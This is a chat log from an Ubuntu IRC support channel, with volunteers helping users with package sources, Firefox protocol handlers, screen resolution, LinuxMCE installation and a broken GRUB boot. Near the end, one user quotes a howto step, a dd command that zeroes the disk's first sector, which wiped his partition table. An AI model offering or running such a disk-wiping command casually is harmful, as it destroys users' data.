[06:21] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[06:21] <laptop> THERE Is no way to add a filetype to associate in Firefox, is that a bug?
[06:21] <soundray> ferronica: append that line to /etc/apt/sources.list then
[06:21] <ferronica> soundray: In Ubuntu 6.06 LTS source ---> ADD--> custom --->APT Line
[06:21] <Dumahen> how can i fix this problem ?? pls help me  http://img118.imageshack.us/my.php?image=ekrangrntstc9.png
[06:21] <RoundyT1> i use the "back" button in browsers...and was wondering if i could just install something to map that button or whatever.
[06:21] <bruenig> laptop, click on that filetype and then when the prompt comes up asking you what to do, tell it
[06:21] <ferronica> soundray: like this
[06:21] <jrib> blanky: apt-cache search -n mysql admin
[06:21] <bruenig> laptop, there is no way to just go into it and add. You have to actually have come upon that filetype before
[06:22] <blanky> jrib: no just front ends
[06:22] <blanky> damn I'm very desperate and in a hurry where are these things!?
[06:22] <jrib> blanky: mysql-client-5.0
[06:22] <blanky> thanks jrib I appreciate it
[06:22] <ferronica> soundray: when i paste this command in terminal "/etc/apt/sources" error  no such file or directory
[06:22] <jrib> blanky: assuming you use mysql 5 I guess
[06:23] <laptop> bruenig, I have, repeatedly.
[06:23] <blanky> jrib: me too haha
[06:23] <soundray> ferronica: it's called /etc/apt/sources.list
[06:23] <MrMary> does ubuntu have good wierless support
[06:23] <bruenig> laptop, what filetype are you talking about
[06:23] <laptop> rtsp
[06:23] <bruenig> laptop, ok and what is the problem
[06:23] <jrib> !wireless > MrMary    (MrMary, see the private message from ubotu)
[06:23] <soundray> MrMary: it's less than good. Few cards work out of the box. The new release is going to be a big improvement in that respect.
[06:23] <MrMary> thank you
[06:24] <MrMary> k
[06:24] <jft_> hey does anyone have a gnome IDE that will do c++ well
[06:24] <laptop> bruenig:  basically it says "Firefox doesnt know what to do because the protocol rtsp isnt associated with a program"
[06:24] <jft_> i do all of my work in console
[06:24] <laptop> no option to choose
[06:24] <jft_> but am looking for an IDE
[06:24] <ferronica> soundray: sudo: /etc/apt/sources.list: command not found
[06:24] <MrMary> thats what i'm waiting on is the wierless
[06:24] <laptop> bruenig:  no option to choose nothing.
[06:24] <bruenig> laptop, get mozilla-mplayer
[06:24] <erUSUL> jft_: emacs ;)
[06:24] <laptop> Its an alert message
[06:24] <iulian_> can someone tell me how can I see all processes running now on a machine?
[06:24] <soundray> ferronica: you have to open it with an editor
[06:24] <MrMary> vi!
[06:24] <rob_> jft_, I think Dev-Cpp might be up your street
[06:24] <jft_> i said IDE
[06:24] <laptop> bruenig:  I have that installed.
[06:24] <erUSUL> iulian_: ps ax | less
[06:24] <ceaser> jft_: try code::blocks
[06:24] <jft_> rob_, 10-4
[06:24] <jft_> p
[06:24] <bruenig> laptop, link to such an rtsp
[06:25] <ferronica> soundray: Give me full command please :(
[06:25] <soundray> ferronica: I'm gradually feeling less and less like helping you. It's like you want us to tell you *everything*. At some point you will have to go and *learn* a few things yourself.
[06:25] <iulian_> erUSUL, thanks
[06:25] <laptop> http://www.cspan.org/ go to "recent programs"
[06:25] <soundray> ferronica: and "Give me full command please :(" is just not on.
[06:25] <laptop> under "video/audio"
[06:26] <ferronica> soundray: just trying to learn
[06:26] <bruenig> laptop, I get a prompt that comes up and tells me it is an external protocol and asks me if I want to open it with totem and whether I want to associate it with totem automatically from now on
[06:26] <ravi_master> anyone sell a car in VA?
[06:26] <soundray> ferronica: most of the things you ask here are covered in the FAQ
[06:26] <ceaser> Does anybody know how I can change the font size in qt apps?
[06:26] <soundray> !faq > ferronica
[06:26] <bruenig> laptop, do you have totem all codeced ought
[06:27] <laptop> bruenig:  I uninstalled totem
[06:27] <laptop> no totem
[06:27] <bruenig> laptop, well do you have something that can handle it
[06:27] <laptop> I installed realplayer
[06:27] <laptop> you know the one who made rtsp
[06:27] <bruenig> laptop, oh wow, vomit,
[06:27] <laptop> what?
[06:27] <ferronica> soundray: then just tell me what to add in repos
[06:27] <laptop> they made rtsp
[06:27] <bruenig> laptop, real player is vomit
[06:27] <laptop> lol
[06:27] <ferronica> soundray: how
[06:27] <laptop> what do you suggest?
[06:27] <laptop> vomit?
[06:28] <bruenig> laptop, but anyways, I don't know where firefox is looking to make these decisions, it somehow figured out totem though
[06:28] <soundray> ferronica: no, I won't now, and I've told you why. My patience is up. Ask someone else, or better, READ THE FAQ
[06:28] <ferronica> soundray: :( okay
[06:28] <laptop> bruenig, right i uninstalled totem and now it doesnt even give me the option
[06:28] <Zamber> http://stuff.zamber.net/linux/imageshack_upload uploads images to IS from command line (details in file)
[06:28] <bruenig> laptop, perhaps if you could get it to hang on to something and then you can edit the preference later after it gets put into the filetype options for your real player
[06:28] <laptop> yup
[06:28] <ferronica> soundray: Any person here who free to help me out??? :(
[06:29] <ferronica>  Any person here who free to help me out??? :(
[06:29] <soundray> ferronica: do not ask me.
[06:29] <laptop> bruenig:  trying, thanks anyway
[06:29] <ravi_master> anyone know how to install linuxmce ontop of existing ubuntu installation?
[06:29] <ferronica> soundray: sorry by mistake
[06:29] <ardchoille> ferronica: What do you need help on?
[06:30] <bruenig> ravi_master, backup files, format and then add files back
[06:30] <ferronica> ardchoille: i wanna mount window in ubutnu 6.06 LTS Dapper Drake
[06:30] <aoirthoir> i have returned!
[06:30] <aoirthoir> all may bow and bask in the glory of my presence
[06:30] <aoirthoir> achoo
[06:30] <aoirthoir> :D
[06:30] <ravi_master> bruenig: ah, man, I really don't have time to backup my files right now
[06:30] <ardchoille> ferronica: You want to mount a Windows volume in Dapper?
[06:30] <ferronica> ardchoille: yes yes
[06:30] <Dumahen> how can i fix this problem ?? pls help me  http://img118.imageshack.us/my.php?image=ekrangrntstc9.png
[06:30] <ravi_master> bruenig: plus all the software that I have on this box!
[06:30] <rbil> ep2011: checkout ebay.com for DWL-G810  ... a few for sale there today
[06:31] <ardchoille> ferronica: Sorry, I do't know how to mount a Windows volume. I haven't touched Windows since 2001.
[06:31] <MrMary> i wana buy an e machines comp and put ubuntu on there, will it work ok?
[06:31] <bruenig> ravi_master, well that is the only option, I mean if you are going to put on a new distro, you are going to have to format
[06:31] <kingcobra> Ferro
[06:31] <aoirthoir> ferronica: is the volume on the same computer dapper is running?
[06:31] <ravi_master> bruenig: LinuxMCE is built ontop of ubuntu, we really shouldn't have to do this.
[06:32] <kingcobra> ferronica, search ubuntu docs
[06:32] <bruenig> ravi_master, ubuntu is built on top of debian
[06:32] <ravi_master> bruenig: your point being?
[06:32] <ravi_master> bruenig: if I wanted to update to ubuntu from debian, I could
[06:33] <ravi_master> bruenig: now, if I want update from ubuntu to LinuxMCE, can I?
[06:33] <bruenig> ravi_master, painfully maybe
[06:33] <bruenig> ravi_master, does linuxmce have its own repos
[06:33] <soundray> MrMary: most standard hardware is supported well, especially in desktops. Laptops are sometimes more tricky.
[06:33] <MajorPayne> Debian to Ubuntu does seem tricky.
[06:33] <bruenig> if it has its own repos you could try although unadvised change your sources.list and dist-upgrade
[06:33] <ravi_master> bruenig: ah, crap, they have a Ubuntu 6.10 installer, nvm
[06:33] <davidfetter> hello
[06:34] <aoirthoir> ferronica: is the windows volume on the same computer as dapper or are you trying to mount over a network connection?
[06:34] <ravi_master> bruenig: http://wiki.linuxmce.com/index.php/Download_Instructions
[06:34] <soundray> MrMary: have a look at https://wiki.ubuntu.com/HardwareSupport
[06:34] <davidfetter> i just burned a 7.0.4beta CD, and i'd like to try it out on my macbookpro
[06:34] <davidfetter> how do i get the aforementioned machine to boot from CD?
[06:34] <bruenig> ravi_master, ultimately it is just a difference in files, so if they can figure out what that difference, creating a deb to automate it would be easy, but for you to try to do it on your own and not being a dev would be hard
[06:34] <soundray> MajorPayne: upgrading?
[06:34] <ravi_master> bruenig: it seems they have an installer for ubuntu 6.10 already.
[06:35] <jenda> Could someone recommend a good CLI IM client? I'd like it to support ICQ and Jabber, preferably MSN, too.
[06:35] <ravi_master> bruenig: I can just use their installer from the iso
[06:35] <MajorPayne> soundray: I was just commenting on something ravi_master said.
[06:35] <jenda> CenterICQ doesn't really work for me :(
[06:35] <bruenig> ravi_master, I like how that button gives me "file does not exist"
[06:35] <genpfault> can tar be used to back up the contents of your root filesystem and successfully plop it down on another partition?
[06:35] <MrMary> jenda: gaim?
[06:35] <kingcobra> jenda gaim
[06:35] <aoirthoir> http://ubuntuguide.org/wiki/Ubuntu_dapper#Windows
[06:35] <ravi_master> bruenig: I'll figure it out, if it exists, I shall find it
[06:35] <davidfetter> anybody?
[06:35] <jenda> MrMary, kingcobra: GAIM isn't a CLI client.
[06:35] <bruenig> ravi_master, I am sure it is just a deb
[06:35] <MrMary> my bad
[06:36] <ravi_master> bruenig: I'm sure it's not
[06:36] <aoirthoir> davidfetter: dont know sorry
[06:36] <bruenig> ravi_master, it wouldn't be hard to do if you knew what the difference was
[06:36] <jenda> thanks anyway, though
[06:36] <ravi_master> bruenig: ever see what linuxmce does?
[06:36] <kingcobra> ok
[06:36] <soundray> genpfault: yes.
[06:36] <davidfetter> aoirthoir, any ideas where i might look?
[06:36] <aoirthoir> davidfetter: you can test it in a virtual machine..dont know how that works on macbook
[06:36] <bruenig> ravi_master, Optionally, before running the installer below, you can download LinuxMCE as an .iso image to burn to cd here so the installer won't need to fetch the software from the internet.
[06:36] <bruenig> optionally
[06:36] <mossaab> hi!!
[06:36] <cilaes> best way to upgrade from hoary > breezy > dapper?
[06:36] <bruenig> optionally you can get the iso
[06:36] <bruenig> therefore it isn't an iso
[06:36] <ravi_master> bruenig: total pvr solution, not just mythtv, which is just a package
[06:36] <aoirthoir> david..kinda like the thing you use to run windows on mac
[06:36] <davidfetter> aoirthoir, i was thinking it might be possible to boot off an iso...
[06:36] <bruenig> ravi_master, it doesn't matter
[06:36] <genpfault> soundray : any special options to make sure it backs up /dev and permissions and such?
[06:36] <davidfetter> aoirthoir, ok, i'll start looking. thanks :)
[06:37] <aoirthoir> davidfetter: if your macbook pro allows booting directly from CD....
[06:37] <bruenig> ravi_master, I could create it if I knew all the files that was needed
[06:37] <YBH_1> bored with linux? try this http://www.ananova.com/news/story/sm_2254764.html
[06:37] <bruenig> were*
[06:37] <ravi_master> bruenig: I think there is a difference between installing a crud-load of packages on an existing system versus a few packages, don't you?\
[06:37] <aoirthoir> davidfetter: you could put it on CD and tell the mac to boot from cd ..see if it recognizes it..I assume you got the iso for macs?
[06:37] <kingcobra> soundray i cant add a user, window does not load
[06:37] <soundray> genpfault: no, it does that all automatically. Use -l to make it ignore mounted partitions.
[06:37] <davidfetter> aoirthoir, that's what i'm looking for the way to do.
[06:37] <genpfault> soundray : alrighty, thanks!
[06:37] <davidfetter> aoirthoir, it's an intel mac, so i got the intel cd
[06:37] <soundray> kingcobra: you can log in on the text console (Ctrl-Alt-F1)
[06:37] <bruenig> ravi_master, there is a difference, but I could put all of ubuntu in one deb if I wanted to
[06:37] <jenda> YBH_1: You aren't spamming, are you?
[06:37] <cchildress> hi, everyone! i'm a gentoo user, but i'm thinking about switching to ubuntu to get more maintenance-free distro, can any former gentoo-ers give me their $0.02?
[06:37] <aoirthoir> davidfetter: dont know how it works in the mac world..never used one..but in a pc it is in your CMOS..
[06:37] <bronze_0_1> jenda: looks like
[06:38] <soundray> kingcobra: or boot in recovery mode (select from the grub boot menu)
[06:38] <davidfetter> k
[06:38] <bruenig> ravi_master, a deb is just a bunch of files and scripts tarred up, essentially
[06:38] <genpfault> soundray : one more question, can I do it on a running system or do I need to use a livecd?
[06:38] <davidfetter> aoirthoir, thanks for the help :P
[06:38] <davidfetter> er, :)
[06:39] <train> how do I get a higher resolution than 1280x1024
[06:39] <aoirthoir> davidfetter: not much
[06:39] <davidfetter> <-- needs coffee
[06:39] <train> and why is that the default
[06:39] <kurot> hi. I'm getting this error when I'm trying to install something E: Malformed line 5 in source list /etc/apt/sources.list (dist parse). can someone tell me what is the problem ?
[06:39] <ravi_master> bruenig: then in your  definition, there is no big difference between  installing ubuntu vs. say another deb managed system -- a lot of people would disagree with this statement
[06:39] <cchildress> train: it depends on your monitor and video chipset
[06:39] <cchildress> train: what size/type of monitor do you have?
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <cchildress> train: and what kind of video card/chip?
[06:39] <MrMary> trooll
[06:40] <train> nvidia
[06:40] <train> with exceleration enabled
[06:40] <train> I'm running beryl
[06:40] <cchildress> train: what model of nvidia, tho?
[06:40] <soundray> genpfault: I wouldn't copy the root partition of a running system. Use a live CD for sanity.
[06:40] <aoirthoir> i like beryl
[06:40] <bruenig> ravi_master, I think there is some disconnect here. What I am saying is that if you can figure out what exactly is the difference on a file level between ubuntu and linuxmce, it would be very easy to create a deb that was able to transition you from ubuntu to linuxmce
[06:40] <cchildress> train: and what brand/size monitor?
[06:40] <train> geforce 5200
[06:40] <aoirthoir> i am heading off to take a nap later yall
[06:40] <train> 19inch viewsonic A90
[06:40] <soundray> genpfault: I don't think you'd have big problems, I may just be paranoid.
[06:40] <cchildress> train: is that flatpanel or crt?
[06:41] <jenda> So... nobody? Any tips? CLI ICQ/JAbber client?
[06:41] <bruenig> jenda, gaim-text
[06:41] <jenda> bruenig: really? :)
[06:41] <genpfault> soundray : alrighty, can do
[06:41] <jenda> bruenig: gotta look that up...
[06:41] <erUSUL> jenda: biltbee + irc client
[06:41] <train> crt
[06:41] <jenda> erUSUL: I will resort to that if I don't find anything.
[06:41] <thapa> jenda: centericq?
[06:41] <atoponce> jenda: centericq
[06:41] <bruenig> jenda, not in the repos though, http://gaim.sourceforge.net/sean/blog/gaim-text
[06:42] <ravi_master> bruenig: I agree with that but you were making way too big of a generality when you said you could package ubuntu into a deb file
[06:42] <rbil> train: how much memory on your graphics card?
[06:42] <atoponce> although, i have a question about centericq in dapper, if anyone is up to it...
[06:42] <jenda> CenterICQ doesn't work for me :(
[06:42] <train> I think its like 128 or 256 can't remember
[06:42] <atoponce> jenda: on dapper?
[06:42] <cchildress> train: with a crt of 19", 1280x1024 is the highest resolution that will look good. more than likely, ubuntu has auto-detected your monitor's refresh rate ranges, and automatically set the maximum resolution for your monitor
[06:42] <blanky> not being allowed to type foreign characters is really starting to piss me off guys
[06:42] <atoponce> jenda: 503 error?
[06:42] <jenda> atoponce: on gentoo, actually ;) but no - the problem is that it won't let me add AIM contacts to my ICQ
[06:42] <cchildress> train: if you think that it is incorrect, check the manufacturer for refresh rates, and enter them manually into the xorg config file
[06:42] <twdsje> Is there a command line utility or something that I can use to see my system temperature?
[06:42] <soundray> !language | blanky
[06:42] <ubotu> blanky: Please watch your language and keep this channel family friendly.
[06:42] <jenda> atoponce: it's in a remote shell
[06:42] <bruenig> ravi_master, well I could package it for my system. I mean when it installs it does a lot of configuring to xorg and stuff, but I could make a big deb package of everything on my system no problem
[06:42] <blanky> soundray: you're always the one to complain about that huh haha
[06:43] <ravi_master> you can't say piss me off on this channel?
[06:43] <atoponce> jenda: yeah. same here.
[06:43] <ompaul> ravi_master, correct
[06:43] <ravi_master> that's pg-13
[06:43] <digitize> !feisty
[06:43] <ubotu> The next version of Ubuntu (7.04; codenamed "Feisty Fawn") should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[06:43] <soundray> blanky: are you coming here for help? If so, please check your attitude.
[06:43] <atoponce> so, does anyone know why i get a 503 error when connecting to a jabber server in centericq on dapper?
[06:43] <atoponce> is there a bug with the program on dapper
[06:43] <cchildress> train: if it's something that you're not familiar with i'd be happy to help you with it
[06:43] <atoponce> ?
[06:43] <blanky> soundray: nope I was't asking for help :)
[06:43] <atoponce> i can't connect to save my life
[06:43] <bruenig> ravi_master, and seeing as the transition to linuxmce won't require those configurations, as they have already happened if you have installed ubuntu, it wouldn't be too hard
[06:43] <kurot> hi. I'm getting this error when I'm trying to install something E: Malformed line 5 in source list /etc/apt/sources.list (dist parse). can someone tell me what is the problem ?
[06:43] <iulian_> is it possible to run lynx in background?
[06:43] <znejk> hello i have sound problems in gnome... the sound gets "disted" anyone have a similar prob?
[06:43] <soundray> blanky: then you're offtopic. Sound off in #ubuntu-offtopic.
[06:43] <train> I"m looking up my refresh rates
[06:44] <cchildress> iulian_: yes, check out screen
[06:44] <rbil> train: have u tried running: /usr/bin/nvidia-settings
[06:44] <ompaul> blanky, then please help or say nothing it is not a chat channel it is a support channel only
[06:44] <bruenig> ravi_master, the hardest part would be finding every minute thing that needed to be changed, but the devs seeing as they were the one who modified it should be able to do it with easy
[06:44] <bruenig> ease*
[06:44] <train> the max res is 1600x1200 but probably with a bad refresh rate
[06:44] <thapa> kurot: could you give us line 5 of /etc/apt/sources.list?
[06:44] <twdsje> Is there a command line utility or command that I can use to see my system temperature?
[06:44] <ravi_master> bruenig: that's great but how are you going to install that deb on a system that's not debian based, it's not the end all and be all.
[06:44] <cchildress> iulian_: or, type ctrl + z when running lynx
[06:44] <erUSUL> ubotu tell znejk about soundray | znejk see priv msg from ubotu
[06:44] <erUSUL> ubotu tell znejk about sound | znejk see priv msg from ubotu
[06:44] <cchildress> train: as i said at above 1280x1024, your crt monitor is likely not going to give you a very good picture when it comes to fine details
[06:44] <bruenig> ravi_master, what are you talking about, if you have ubuntu installed, you have debian based, so linux mce deb package for a transition would be really easy
[06:45] <bruenig> this is all I have said, that it is probably a deb package
[06:45] <ravi_master> bruenig: and if you now say oh, of course you need a debian base you could easily have huge conflicts between the huge package you generated and the existing system
[06:45] <erUSUL> twdsje: You have to configure sensorsd daemon and then use the sensors comand in a teminal
[06:45] <erUSUL> !sensors > twdsje
[06:45] <kingcobra> soundray, i can login there but didnt kno how to get back 2 the gui
[06:45] <twdsje> aha
[06:45] <atoponce> jabber 503 error on dapper with centericq. anyone?
[06:45] <bruenig> ravi_master, ok well when you find the linuxmce deb package, as that is almost certainly what it is, link it to me, I would like to dissect it
[06:45] <twdsje> would sensors already be installed on my ubuntu server install?
[06:46] <soundray> blanky: my concern is that some people want to use this channel in some professional capacity. Bad language on a channel can be a major obstacle.
[06:46] <soundray> kingcobra: Ctrl-Alt-F7
[06:46] <erUSUL> twdsje: please read the private msg ubotu send you
[06:46] <nhy> Is it possible to upgrade from herd 5 to the feisty beta?
[06:46] <kingcobra> soundray, the gnome settings daemon wont load causin system to stall for ages every bootup just after logging in
[06:46] <twdsje> oh I did not see that.
[06:46] <SecrethX> bruenig, I think i managed to make it work.. unless, well, there is no AUDIO_TS folder in the .iso, but im certain there is audio on the file
[06:46] <blanky> soundray: It's okay, you can be quiet now because I shut up a while ago, I don't consider 'piss' a bad word, but I won't say it anymore in here if it offends you
[06:46] <kingcobra> soundray, wil this put me out of gui again
[06:46] <bruenig> SecrethX, it doesn't matter, the audio is in the video_ts folder
[06:46] <bruenig> SecrethX, in the vobs
[06:47] <erUSUL> nhy: the normal upgrade process should have make it for you
[06:47] <SecrethX> bruenig, ok :)
[06:47] <soundray> blanky: it doesn't offend me. It goes against the purpose of the channel.
[06:47] <ravi_master> bruenig: I understand exactly what you are saying but that really doesn't apply to larger systems such as "ubuntu" etc, only to small suites of applications "openoffice" etc, it's not healthy for your system if you start installing a whole "ubuntu.deb" file on it because your existing system would already have some pre-configured setup which would need to get forced out.
[06:47] <nhy> ok
[06:48] <LaNCeloT_RW> anyone knows how to install a xchat plugin to show my current song?
[06:48] <bruenig> ravi_master, for linuxmce it would be very easy because all the configuring of xorg and such would have already been done by the ubuntu installer, and since you have ubuntu installed... all you have to do is add all the applications and differences. very simple
[06:48] <kurot> thapa, this is my sources.list --> http://paste.ubuntu-nl.org/11870/
[06:48] <ravi_master> bruenig: actually, linuxmce modified some of the low-level driver based stuff too
[06:48] <bruenig> ravi_master, for instance, I assume you have gnome, if I wanted to create a package that changed ubuntu to xubuntu, (totally changed it) removed gnome and everything, not just added it alongside it, I could do that, because I would just keep the xorg and other configurations and just add all the xubuntu files
[06:48] <kingcobra> soundray, wil this put me out of gui again
[06:49] <bruenig> ravi_master, that can be done with a script
[06:49] <jenda> bruenig: no matter what I do, I can't find the source code for gaim-text for download...
[06:49] <bruenig> jenda, I had it going for a while, it was a cool thing to play with, let me see if I can find it
[06:49] <thapa> kurot: try to put a hash sign # in front of this line
[06:49] <chasm> hey I'm looking for a repository for ubuntu that will let me install banshee >0.11.0 without all of these libdbus uninstallable errors I'm running edgy 6.10
[06:49] <ravi_master> bruenig: I mean, linux mce will change my system from ubuntu being able to do nothing with my living room to having the capability to turn down the lights when I start watching a movie, that's a huge change.
[06:49] <soundray> kingcobra: Alt-F7 to switch to the console where X runs. Ctrl-Alt-F1 (F2/F3/F4...) to switch to the text consoles.
[06:49] <chasm> anybody know of one
[06:50] <bruenig> ravi_master, it is all files, everything is files
[06:50] <kurot> thapa, in front of what line?
[06:50] <kingcobra> soundray, so which gets me out of it
[06:50] <coldfish> i have a problem with beagle search tool. It is reindexing the same content again and again in each startup. version 0.2.16
[06:50] <ravi_master> bruenig: when files==device drivers, you have to be extra careful.
[06:50] <thapa> in front of http://paste.ubuntu-nl.org/11870/
[06:50] <GekiBlue> What's the program to get to edit/add entries to the Applications menu? :O
[06:50] <ravi_master> bruenig: all files are not the same
[06:51] <bruenig> jenda, oh it is installed by default on every gaim after 2,0 beta 4
[06:51] <soundray> kingcobra: out of what? I suggest you just try it out...
[06:51] <rbil> GekiBlue: right click on Applications
[06:51] <rbil> edit menus
[06:51] <kingcobra> soundray, ok i might hav 2 restart again tho
[06:51] <kurot> thapa, ok, let me try
[06:51] <jenda> bruenig: eek... and is there a way to install just that?
[06:51] <bruenig> ravi_master, scripts though. Realize that the devs started from an ubuntu base and added and modified it. All they have to do is keep track of those modifications. It wouldn't be extremely hard
[06:51] <jenda> bruenig: it's for a remote shell account
[06:51] <bruenig> jenda, I don't think so
[06:52] <ubuntu_> heh people - i have a problem, and I'm entering panic mode :/
[06:52] <GekiBlue> rbil: Oh XD Thanks... Last time I used Ubuntu you needed to get a little program to do it :O
[06:52] <rbil> GekiBlue: changed with Edgy
[06:52] <soundray> ubuntu_: that's good, panic mode fixes practically everything ;)
[06:52] <ravi_master> bruenig: it does become different when the "script" or installer is _significantly_ changing the system at a kernel level though.
[06:53] <GekiBlue> rbil: Hehe... My experience was with Breezy, I'm so out of  touch XD
[06:53] <train> does anyone know about the script that automatically mounts your ntfs HD's and places an icon for them on your desktop?
[06:53] <bruenig> ravi_master, I don't think so, we'll see though. We know it isn't an iso, so I wonder what it is, a script perhaps?
[06:53] <soundray> !ntfs | train
[06:53] <ubotu> train: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions . For write access see !ntfs-3g or !fuse
[06:53] <ravi_master> bruenig: it is an iso with a bunch of crud on it
[06:53] <bruenig> ravi_master, no read that page you sent me, it is very clearly not an iso
[06:54] <thapa> kurot: saved the file?
[06:54] <kingcobra> soundray, pressing ctrl alt f7 does nothing for me
[06:54] <ravi_master> bruenig: you can download an iso with all the required files
[06:54] <kingcobra> soundray, nor alt f7
[06:54] <bruenig> it says you can optionally get the isos so that you can use the packages on that iso
[06:54] <bruenig> meaning of course not mandatory
[06:54] <bruenig> some basic logic here
[06:54] <bruenig> Optionally, before running the installer below, you can download LinuxMCE as an .iso image to burn to cd here so the installer won't need to fetch the software from the internet.
[06:54] <jhernandez> hola. Somebody knows a GTk# library for 2D Charting?
[06:54] <bruenig> so the installer won't fetch software from the internet
[06:55] <bruenig> hmmmm
[06:55] <ravi_master> bruenig: ok, I really have been arguing with you not about the difference between Ubuntu and LinuxMCE but the difference between systems like debian and Ubuntu, you see what I mean?
[06:55] <bruenig> so deb or script is the only two options
[06:55] <soundray> kingcobra: try Ctrl-Alt-F8, Ctrl-Alt-F9 as well. If none of these work, X is not running any more. Do a 'sudo invoke-rc.d gdm restart'
[06:55] <bruenig> ravi_master, I have been arguing about the viability of a deb to install a modified version of ubuntu on to of ubuntu
[06:55] <ravi_master> bruenig: I thought youv'e been arguing that all debian systems are essentially the same.
[06:55] <ravi_master> bruenig: screw this...
[06:55] <ravi_master> bruenig: :-)
[06:55] <bruenig> ravi_master, I argued that migrating from one to another can be done with a debian package
[06:56] <cornucopia> hi bro's
[06:56] <ravi_master> bruenig: I'll wait for you to show me a deb file that can make me upgrade from debian to ubuntu
[06:56] <bruenig> ravi_master, it can be done
[06:56] <ravi_master> cornucopia, hey
[06:56] <shoumik> Hi, I'm doing a project and i need to know, is there a way i can make brochures through some open office app
[06:56] <kurot> thapa, doesn't work... maybe i don't know where to put #
[06:56] <bruenig> ravi_master, it would take a lot of work, but it could be done
[06:56] <ubuntu_> I'm booting from a live CD - have been trying to get rid of an error-18 in grub (cant strat up at all). have been at it all day - the latest thread I followed is http://www.debianhelp.org/node/1479 . problem is I now have no MBR on my hdd and can't get parted to duplicate the partition table. primary partition is start 32.3kB end 81.3GB - but parted keeps putting end as 82.0GB - that's going to be a problem, isn't it (or a
[06:56] <ubuntu_> m I just being paranoid?)
[06:57] <kingcobra> soundray, ctrl alt f8 and f9 giv black screen with flashing command cursor in top left corner
[06:57] <bruenig> ravi_master, but it would be a lot easier if I were developing a fork to keep track of my changes, and dump them into a deb
[06:57] <bruenig> which is what I bet these guys did
[06:57] <ompaul> ubuntu_, how much data have you got on that box?
[06:57] <thapa> kurot: the line has to look like that: # http://paste.ubuntu-nl.org/11870/
[06:57] <soundray> kingcobra: do a 'sudo invoke-rc.d gdm restart'
[06:57] <bruenig> or again it could be a script, but that isn't really anything different, since debs can have scripts in them
[06:57] <ubuntu_> fdisk - well I cant work out how to put start/end into a new partition with fdisk (scared of getting the wrong amount of 0's...
[06:58] <ferronica> ardchoille: thats strange? why??
[06:58] <kingcobra> ok bak in a wile after reboot is it
[06:58] <ferronica> ardchoille: why not window?] 
[06:58] <SecrethX> bruenig, no sound
[06:58] <ubuntu_> ompaul: on the drive - about 80Gig
[06:58] <ravi_master> bruenig: I understand your logic, and that is probably what mce did, but I am saying there can be systems that are complexly modfied enough to warrant a different install
[06:58] <kurot> thapa, the line 5 ?
[06:58] <thapa> kurot: then you will have to do a sudo apt-get update on the command line
[06:58] <ompaul> bruenig, ravi_master its not really a ubuntu support issue is it? ;-) can you take it to pm :)
[06:58] <ferronica> ardchoille: any particular point
[06:58] <ardchoille> ferronica: That needs to go to #ubuntu-offtopic.
[06:58] <thapa> kurot: yepp
[06:58] <shoumik> Hi, I'm doing a project and i need to know, is there a way i can make brochures through some open office app. If there is is through open office writer? Thank You.
[06:58] <bruenig> it appears to be over
[06:58] <ravi_master> ompaul: yeah, I'm bored
[06:59] <shd0w> hey does anyone know how to allow python extensions on a apache server i am using ubuntu server 6.10 for example index.py
[06:59] <kurot> thapa, and if i'm not wrong the line 5 is: # See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
[06:59] <soundray> shoumik: OOo Draw is what you want for a brochure.
[06:59] <ompaul> ubuntu_, got access to that much room locally?
[06:59] <kurot> thapa, shall i write another # in the front of # See * ?
[06:59] <ompaul> ubuntu_, on your local network?
[06:59] <thapa> kurot: no, could you instead upload your /etc/apt/sources.list to a pastebin?
[07:00] <ubuntu_> ompaul: not sure - dont think so withou shutting down
[07:00] <rbil> train: you can write a .desktop file in your Desktop directory that has a URL pointing to your mount point
[07:00] <ubuntu_> may have on another hdd, ompaul
[07:00] <shd0w> anyone know how to allow .py extensions on a apache server??
[07:00] <SecrethX> bruenig, I dont have any sound on the dvd, I just put it in my dvd player..
[07:00] <thapa> kurot: http://pastebin.ca/
[07:00] <shoumik> ty sound ray
[07:00] <kurot> thapa, http://paste.ubuntu-nl.org/11870/
[07:01] <Sambrista> hi! i'm on ubuntu 7.04 (beta). Anyone knows how to make my computer connect to internet by a wi-fi connection at boot time? Now with ndiswrapper, it won't connect until anyone logs in and tell network-manager to connect to my ap
[07:01] <ompaul> ubuntu_, if you do then install on that copy your data  .. then fix the first drive
[07:01] <thapa> kurot: okay, thank you
[07:01] <thapa> looks okay, imho
[07:01] <ubuntu_> ompaul: can I still mount the drive without an MBR?
[07:01] <ubuntu_> ompaul: if i shutdown?
[07:01] <thapa> can you run sudo apt-get update?
[07:02] <ompaul> ubuntu_, with the cdrom you can mount it
[07:02] <ubuntu_> ok - that's not so bad--- thanks
[07:02] <ompaul> ubuntu_, mount - format pretty myuch anything you want
[07:03] <bruenig> SecrethX, well you should, I don't know. I know it isn't the audio_ts though because my audio_ts is always empty
[07:03] <SecrethX> bruenig, :o np
[07:03] <ubuntu_> ompaul: I've been trying to sort this problem out the whole day.... you know there is no partition table on the drive
[07:04] <ompaul> ubuntu_, how did you manage that?
[07:04] <ubuntu_> ompaul: but you're saying I can still mount it..? (sorry - am scared)
[07:04] <thapa> kurot: any problems?
[07:04] <ompaul> ubuntu_, ahh you can't
[07:04] <ompaul> ubuntu_, I did not know that okay here is what you do - if you have the other drive and it has some reasonable space on it
[07:05] <SecrethX> bruenig, you know how to convert wmv to mpeg? im gonna retry it
[07:05] <kurot> thapa, i found it, thanks anyway
[07:05] <ubuntu_> ompaul: the howto said to dd if=/dev/zero of=/dev/hda bs=512  count=1
[07:05] <aeroplane> What irc clients do you all reccomend? I am using the one available via terminal
[07:05] <thapa> kurot: yes, I found it too, just this moment...
[07:06] <ubuntu_> ompaul: i dont know unless i can mount it/install it
[07:06] <train> can you use itunes well through wine?
[07:06] <gerscht> aeroplane: the built in gaim
[07:06] <ompaul> ubuntu_, okay lets go back to basics - disk with ubuntu on it has no partition table on it?
